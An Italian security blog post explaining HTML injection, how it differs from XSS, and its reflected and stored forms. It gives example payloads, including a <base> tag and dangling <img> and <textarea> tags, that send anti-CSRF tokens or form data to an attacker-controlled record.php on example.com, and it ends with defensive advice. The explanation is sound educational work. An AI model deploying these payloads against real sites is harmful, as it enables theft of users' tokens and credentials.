Diventa Autore per CoreTech | Scopri di più
01/04/20 CoreTech Blog
Le iniezioni HTML (iniezioni di linguaggio HyperText Markup) sono vulnerabilità molto simili a Cross-site Scripting (XSS). I meccanismi di distribuzione sono esattamente gli stessi, ma il contenuto iniettato è tag HTML puri, non uno script come nel caso di XSS. Iniezioni HTML sono meno pericolosi di XSS, ma possono ancora essere utilizzati per scopi dannosi.
Proprio come Cross-site Scripting, un'iniezione HTML avviene quando il payload fornito dall'utente malintenzionato come parte di input non attendibile viene eseguito lato client dal browser web come parte del codice HTML dell'applicazione web. Gli attacchi DI iniezione HTML sono puramente lato client e, proprio come gli attacchi XSS, colpiscono l'utente, non il server.
Ci sono due tipi principali di iniezione HTML: riflessa e memorizzata, proprio come nel caso di vulnerabilità XSS. Nel caso di un'iniezione HTML riflessa, il payload deve essere consegnato a ogni utente individualmente (di solito utilizzando l'ingegneria sociale, come collegamento dannoso) e diventa parte della richiesta. Nel caso di un'iniezione HTML archiviata, il payload viene archiviato dal server web e consegnato in un secondo momento potenzialmente a più utenti.
La differenza principale tra HTML injection e XSS è l'ambito delle funzionalità che l'attaccante ha. A causa della natura dichiarativa del contenuto HTML, il payload può eseguire molto meno che nel caso del codice JavaScript.
Gli aggressori possono utilizzare iniezioni HTML per diversi scopi. Ecco alcune delle applicazioni più popolari di questa tecnica di attacco insieme a potenziali conseguenze per la sicurezza delle applicazioni web.
L'applicazione più semplice dell'inserimento HTML consiste nel modificare il contenuto visibile della pagina. Ad esempio, un utente malintenzionato può utilizzare un'iniezione HTML memorizzata per iniettare un annuncio visivo di un prodotto che si desidera vendere. Un caso simile sarebbe quando l'attaccante inietta HTML dannoso che mira a danneggiare la reputazione della pagina, per esempio, per motivi politici o personali.
In entrambi i casi, il contenuto iniettato mira a guardare come una parte legittima della pagina HTML. E in entrambi i casi, una vulnerabilità di iniezione HTML memorizzata sarebbe richiesto dall'attaccante.
Un'altra applicazione comune di HTML injection è quello di creare un modulo sulla pagina di destinazione e ottenere i dati inseriti in quel modulo. Ad esempio, l'utente malintenzionato può iniettare codice dannoso con un modulo di accesso falso. I dati del modulo (login e password) verrebbero quindi inviati a un server controllato dall'utente malintenzionato.
Se la pagina Web utilizza URL relativi, l'utente malintenzionato potrebbe anche tentare di utilizzare il tag <base>
per dirottare i dati. Per esempio: se inseriscono <base href='http://example.com/'>
e la pagina Web utilizza URL relativi per l'invio di moduli, tutti i moduli verranno invece inviati all'utente malintenzionato.
L'utente malintenzionato può anche dirottare moduli HTML validi inserendo un tag <form>
prima di un tag <form>
legittimo. I tag modulo non possono essere nidificati e il tag del modulo di primo livello è quello che ha la precedenza.
In tutti questi casi, l'attaccante può utilizzare un'iniezione HTML riflessa altrettanto come un'iniezione HTML memorizzata.
Un utente malintenzionato può utilizzare l'iniezione HTML per esfiltrare i token anti-CSRF al fine di eseguire un attacco CSRF (Request Forgery) tra siti in un secondo momento. I token anti-CSRF vengono in genere forniti utilizzando il tipo di input nascosto in un modulo.
Per esfiltrare il token, l'utente malintenzionato può, ad esempio, utilizzare un tag <img>
non terminato, ad esempio <img src='http://example.com/record.php?
– la mancanza di virgolette singole di chiusura fa sì che il resto del contenuto diventi parte dell'URL fino a quando non viene trovata un'altra virgoletta singola. Se invece il codice valido utilizza virgolette doppie, l'input nascosto verrà inviato allo script record.php controllato dall'utente malintenzionato e registrato:
<img src='http://example.com/record.php?<input type="hidden" name="anti_xsrf" value="s74bogj63h">
Un'altra opzione consiste nell'utilizzare il tag <textarea>
In tal caso, tutto il contenuto dopo il tag <textarea>
verrà inviato e entrambi i tag <textarea>
e <form>
verranno chiusi in modo implicito. Tuttavia, in questo caso, l'utente deve effettivamente essere indotto a inviare il modulo manualmente.
<form action='http://example.com/record.php?'<textarea><input type="hidden" name="anti_xsrf" value="s74bogj63h">
Le iniezioni HTML possono anche essere utilizzate dagli aggressori per inserire i moduli che vengono compilati automaticamente dai gestori di password del browser. Se l'utente malintenzionato riesce a inserire un modulo adatto, il gestore di password inserisce automaticamente le credenziali utente. Nel caso di molti browser, il modulo deve avere solo i nomi di campo e la struttura corretti e il parametro action può puntare a qualsiasi host.
Ci sono un sacco di altri potenziali usi di iniezioni HTML. Per saperne di più, ti consigliamo di leggere un eccellente foglio di trucco di Michał Zalewski (lcamtuf ).Tuttavia, anche le applicazioni di cui sopra dovrebbero essere sufficienti per rendersi conto che mentre HTML injection potrebbe non essere pericoloso come, ad esempio, SQL injection, non si dovrebbe ignorare questo tipo di attacco.
La difesa contro le iniezioni HTML dovrebbe essere combinato con la difesa contro Cross-site Scripting. Proprio come nel caso di XSS, è possibile filtrare il contenuto HTML dall'input (ma molti trucchi possono essere utilizzati per eludere i filtri) o sfuggire a tutti i tag HTML.
Mentre il secondo approccio è molto più efficace, può rendere difficile se, per impostazione, l'input dell'utente deve contenere codice HTML consentito. In tal caso, è consigliabile un approccio di filtro molto rigoroso basato sulle whitelist.